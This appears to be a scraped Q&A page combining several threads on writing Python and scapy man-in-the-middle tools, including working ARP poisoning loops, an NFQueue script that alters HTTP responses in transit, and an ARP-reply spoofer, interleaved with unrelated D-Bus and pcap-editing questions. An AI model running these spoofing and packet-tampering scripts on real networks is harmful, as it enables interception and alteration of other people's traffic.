I try to develop a MITM attack tool, first tried arp poisoning, then sniffing and filter specific packet (both of them with scapy)
if there is a match with my filter I need to alter it on the fly so, create a copy of this packet then manipulate TCP data and send it.
But the last step doesn't work. Does it correct manipulate for copying packet?
from netfilterqueue import NetfilterQueue
from scapy.all import *
from scapy.error import Scapy_Exception
import os
import sys
import threading
import signal
def Inspector (packet):
if packet[TCP].payload :
tcp_data = str(packet[TCP].payload)
if 'Open' in tcp_data:
packet_data = tcp_data.split('(')
a= copy.deepcopy(packet) # First Copy The packet
packet.drop() # Second Drop it
if 'Up' in tcp_data :
payload_O = packet_data[0] + '(' + 'Down//inject'
a[TCP].data = payload_O
send(a)
else :
packet.accept()
def main():
try:
print '[*] Starting Queue '
nfqueue.run_socket()
sniff(filter="tcp port 2626", prn=inspector, store=0)
if __name__ == "__main__":
main()
It is not possible to intercept a packet using scapy. What your code might do is send another packet following the original one.
The best way to create a MITM tool is by ARP poisoning. You can have a look at scapy tutorials such as in:
The scapy official doc
This good tutorial at medium.com
Of course, your tool will only be used in a security purpose, as you know that such pratice is illegal
Related
How to monitor and read Ubuntu's "Night Light" status via D-Bus using Python with dasbus? I can't figure out the API docs on how to read a property or subscribe to a signal.
Likely candidates:
dasbus.client.property.get()
GLibClient.subscribe()
The following is adapted from the basic examples and prints the interfaces and properties/signals of the object:
#!/usr/bin/env python3
from dasbus.connection import SessionMessageBus
bus = SessionMessageBus()
# dasbus.client.proxy.ObjectProxy
proxy = bus.get_proxy(
"org.gnome.SettingsDaemon.Color", # bus name
"/org/gnome/SettingsDaemon/Color", # object path
)
print(proxy.Introspect())
# read and print properties "NightLightActive" and "Temperature" from interface "org.gnome.SettingsDaemon.Color" in (callback) function
# subscribe to signal "PropertiesChanged" in interface "org.freedesktop.DBus.Properties" / register callback function
Resources
https://pypi.org/project/dbus-python/
What is recommended to use pydbus or dbus-python and what are the differences?
https://wiki.python.org/moin/DbusExamples
Migration from dbus to GDbus in Python 3
Looking at the dasbus examples and the Introspection data it looks like to get the property the dasbus is pythonic so proxy.<property name> works. For your example of NightLightActive it would be:
print("Night light active?", proxy.NightLightActive)
For the signal you need to connect to the signal on the proxy so that seems to take the form of proxy.<signal name>.connect so for example:
proxy.PropertiesChanged.connect(callback)
And this will need to have an EventLoop running.
My entire test was:
from dasbus.connection import SessionMessageBus
from dasbus.loop import EventLoop
bus = SessionMessageBus()
loop = EventLoop()
# dasbus.client.proxy.ObjectProxy
proxy = bus.get_proxy(
"org.gnome.SettingsDaemon.Color", # bus name
"/org/gnome/SettingsDaemon/Color", # object path
)
print("Night light active?", proxy.NightLightActive)
print("Temperature is set to:", proxy.Temperature)
def callback(iface, prop_changed, prop_invalidated):
print("The notification:",
iface, prop_changed, prop_invalidated)
proxy.PropertiesChanged.connect(callback)
loop.run()
I've lately been trying to build a "Man in The Middle" using Python and Scapy (for my own practice, no malicious purposes).
I started off with writing code to create a dos, however for some reason it's acting strangely.
First of all, for some reason, when I run it on my Windows PC, the arp entry never changes. I've even gone as far as clearing the arp table (arp -d *), yet still the real mac address of the gateway returns.
Secondly, the code seems to work on my phone only partially - when opening websites, it just takes a long while. Also some websites seem unaffected (Instagram works...).
Also, running the code against different brands of phones resulted in different results.
Could it be that there are security measures on the different devices? Did I do something wrong?
Here is the code, thanks for the help!
from enum import Enum
import getmac
import netifaces
from scapy.all import ARP, Ether, sendp
class DeviceIps(Enum):
MyPhone = '192.168.1.27'
MyPc = '192.168.1.70'
class Device(object):
def __init__(self, ip: str):
self.ip = ip
def get_mac_from_ip(ip=None):
return getmac.get_mac_address(ip=ip)
def build_poison_packet(victim_ip):
ARP_RESPONSE_CODE = 0x2
FAKE_MAC_ADDRESS = 'aa:bb:cc:dd:ee:ff'
gateway_ip_address = netifaces.gateways()['default'][netifaces.AF_INET][0]
victim_mac_address = get_mac_from_ip(victim_ip)
poison_packet = Ether(src=FAKE_MAC_ADDRESS, dst=victim_mac_address) \
/ ARP(psrc=gateway_ip_address, # -> Address to lie about
hwsrc=FAKE_MAC_ADDRESS, # -> Mac address to direct to
hwdst=victim_mac_address, pdst=victim_ip, op=ARP_RESPONSE_CODE)
return poison_packet
def poison(target: Device):
poison_packet = build_poison_packet(target.ip)
print(poison_packet.show())
while True:
sendp(poison_packet)
def main():
poison(Device(DeviceIps.MyPc.value))
main()
Here's simple scapy code that send arp reply to victim and host (gateway) address.
You can clean up the both victim and host arp table before your script is terminated.
#!/bin/env python
from scapy.all import Ether, ARP, sendp
import time
victim_hw_addr = "34:e1:2d:83:20:aa"
victim_ip_addr = "192.168.43.152"
gw_hw_addr = "ce:9f:7a:7b:d7:aa"
gw_ip_addr = "192.168.43.1"
my_hw_addr = "8c:85:90:c3:0b:aa"
tmout = 100
arp4victim = Ether(dst=victim_hw_addr, src=my_hw_addr) / ARP(pdst=victim_ip_addr, hwdst=victim_hw_addr, psrc=gw_ip_addr, hwsrc=my_hw_addr, op=2)
arp4gw = Ether(dst=gw_hw_addr, src=my_hw_addr) / ARP(pdst=gw_ip_addr, hwdst=gw_hw_addr, psrc=victim_ip_addr, hwsrc=my_hw_addr, op=2)
while True:
sendp(arp4victim)
sendp(arp4gw)
time.sleep(3)
print "*"
I'm trying to construct a man in the middle attack on a webpage (i.e. HTTP traffic). I'm doing this by using a Linux machine attached to Ethernet and a client attached to the Linux box via its WiFi hotspot.
What I've done so far is use NFQueue from within the IPTables Linux firewall to route all TCP packets on the FORWARD chain to the NFQueue queue, which a Python script is picking up and then processing those rules. I'm able to read the data off of the HTTP response packets, but whenever I try to modify them and pass them back (accept the packets), I'm getting an error regarding the strings:
Exception AttributeError: "'str' object has no attribute 'build_padding'" in 'netfilterqueue.global_callback' ignored
My code is here, which includes things that I've tried that didn't work. Notably, I'm using a third-party extension for scapy called scapy_http that may be interfering with things, and I'm using a webpage that is not being compressed by gzip because that was messing with things as well. The test webpage that I'm using is here.
#scapy
from scapy.all import *
#nfqueue import
from netfilterqueue import NetfilterQueue
#scapy http extension, not really needed
import scapy_http.http
#failed gzip decoding, also tried some other stuff
#import gzip
def print_and_accept(packet):
#convert nfqueue datatype to scapy-compatible
pkt = IP(packet.get_payload())
#is this an HTTP response?
if pkt[TCP].sport == 80:
#legacy trial that doesn't work
#data = packet.get_data()
print('HTTP Packet Found')
#check what's in the payload
stringLoad = str(pkt[TCP].payload)
#deleted because printing stuff out clogs output
#print(stringLoad)
#we only want to modify a specific packet:
if "<title>Acids and Bases: Use of the pKa Table</title>" in stringLoad:
print('Target Found')
#strings kind of don't work, I think this is a me problem
#stringLoad.replace('>Acids and Bases: Use of the pK<sub>a</sub>', 'This page has been modified: a random ')
#pkt[TCP].payload = stringLoad
#https://stackoverflow.com/questions/27293924/change-tcp-payload-with-nfqueue-scapy
payload_before = len(pkt[TCP].payload)
# I suspect this line is a problem: the string assigns,
# but maybe under the hood scapy doesn't like that very much
pkt[TCP].payload = str(pkt[TCP].payload).replace("Discussion", "This page has been modified")
#recalculate length
payload_after = len(pkt[TCP].payload)
payload_dif = payload_after - payload_before
pkt[IP].len = pkt[IP].len + payload_dif
#recalculate checksum
del pkt[TCP].chksum
del pkt[IP].chksum
del pkt.chksum
print('Packet Modified')
#redudant
#print(stringLoad)
#this throws an error (I think)
print(str(pkt[TCP].payload))
#no clue if this works or not yet
#goal here is to reassign modified packet to original parameter
packet.set_payload(str(pkt))
#this was also throwing the error, so tried to move away from it
#print(pkt.show2())
#bunch of legacy code that didn't work
#print(GET_print(pkt))
#print(pkt.show())
#decompressed_data = zlib.decompress(str(pkt[TCP].payload), 16 + zlib.MAX_WBITS)
#print(decompressed_data)
#print(str(gzip.decompress(pkt[TCP].payload)))
# print(pkt.getlayer(Raw).load)
#print('HTTP Contents Shown')
packet.accept()
def GET_print(packet1):
ret = "***************************************GET PACKET****************************************************\n"
ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
ret += "*****************************************************************************************************\n"
return ret
print('Test: Modify a very specific target')
print('Program Starting')
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_accept)
try:
print('Packet Interface Starting')
nfqueue.run()
except KeyboardInterrupt:
print('\nProgram Ending')
nfqueue.unbind()
Apologies in advance if this is hard to read or badly formatted code; Python isn't a language that I write in often. Any help is greatly appreciated!
I'm trying to rewrite a pcap file with different IP and IPv6 addresses. But after I extract a packt by PcapReader and change its IP adresses, the packets in the output pcap file is cut short (that is to say the payload of the packet is lost).
Here's the example code:
from scapy.all import PcapReader
from scapy.all import PcapWriter
def test():
f = "input.pcap"
writers = PcapWriter("output.pcap")
with PcapReader(f) as pcap_reader:
for pkt in pcap_reader:
# somehow change the IP address
writers.write(pkt=pkt)
test()
When I open the .pcap file with WireShark, it shows "The capture file appears to have been cut short in the middle of a packet".
Is there any solution in scapy to maintain the payload or is there any other python packets to recommand?
here I did not change anything and the results are like this:
input file:
enter image description here
output file:
enter image description here
I think the problem must be in the code you use to modify the packet (and which you did not show) or that your source file already had short packets (i.e. snaplen less than packet len). The following code works for me without problems:
from scapy.all import PcapReader,PcapWriter,IP
writer = PcapWriter('output.pcap')
for pkt in PcapReader('input.pcap'):
# somehow change the IP address
pkt[IP].dst = '1.2.3.4'
pkt[IP].src = '5.6.7.8'
writer.write(pkt=pkt)
I am trying to read an ARP request with my python script which is on my computer that is running Ubuntu 14.04. Wireshark shows that I AM receiving the ARP requests but I am not able to read it with python. I am not sure if the problem is in my computer or not, but I think that somehow the problem is in my computer and not the script.
I am running this script with sudo python "..../name.py"
This is my python script so far:
import dpkt
import socket
import binascii
import time
def to_Readble(addr):
s=list()
addr=binascii.hexlify(addr)
for i in xrange(12/2):
s.append(addr[i*2:i*2+2])
r=":".join(s)
return r
def to_Sendable(r):
s=r.split(":")
for i in xrange(6):
s[i]=binascii.unhexlify(s[i])
addr=''.join(s)
return addr
def buildARP(src_mac, src_ip, to_mac, to_ip):
arp_p = dpkt.arp.ARP()
arp_p.sha = to_Sendable(src_mac) #add configure
arp_p.spa = socket.inet_aton(src_ip)
arp_p.tha = to_Sendable(to_mac) #add configure
arp_p.tpa = socket.inet_aton(to_ip)
arp_p.op = dpkt.arp.ARP_OP_REPLY #reply
packet = dpkt.ethernet.Ethernet()
packet.src = to_Sendable(src_mac)
packet.dst = to_Sendable(to_mac)
packet.data = arp_p
packet.type = dpkt.ethernet.ETH_TYPE_ARP
return packet
raw_sock=socket.socket(socket.PF_PACKET, socket.SOCK_RAW,socket.htons(0x0003))#changed ver
raw_sock.bind(("eth0", dpkt.ethernet.ETH_TYPE_ARP))
#dns_sock=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#dns_sock.bind(('',53))
my_mac=to_Readble(raw_sock.getsockname()[-1])
print my_mac
#my_mac="e0:06:e6:d7:c6:c3"
dif="00:00:00:00:00:00"
dif1="ff:ff:ff:ff:ff:ff"
rout="192.168.122.1"
ip_macs={}
print "running"
while 1:
for i in ip_macs.keys():#sending stuff
raw_sock.send(str(buildARP(my_mac,rout,ip_macs[i],i)))
try:
# raw_sock.recv(1024) Blocks the script!!!!***!!!
data = raw_sock.recv(1024)
print "got arp"
...
Someone has an Idea for why I am not getting the requests?
You need socket.listen() after the socket.bind().
Rather that repeat other answers, see this So Answer:
(Very) basic Python client socket example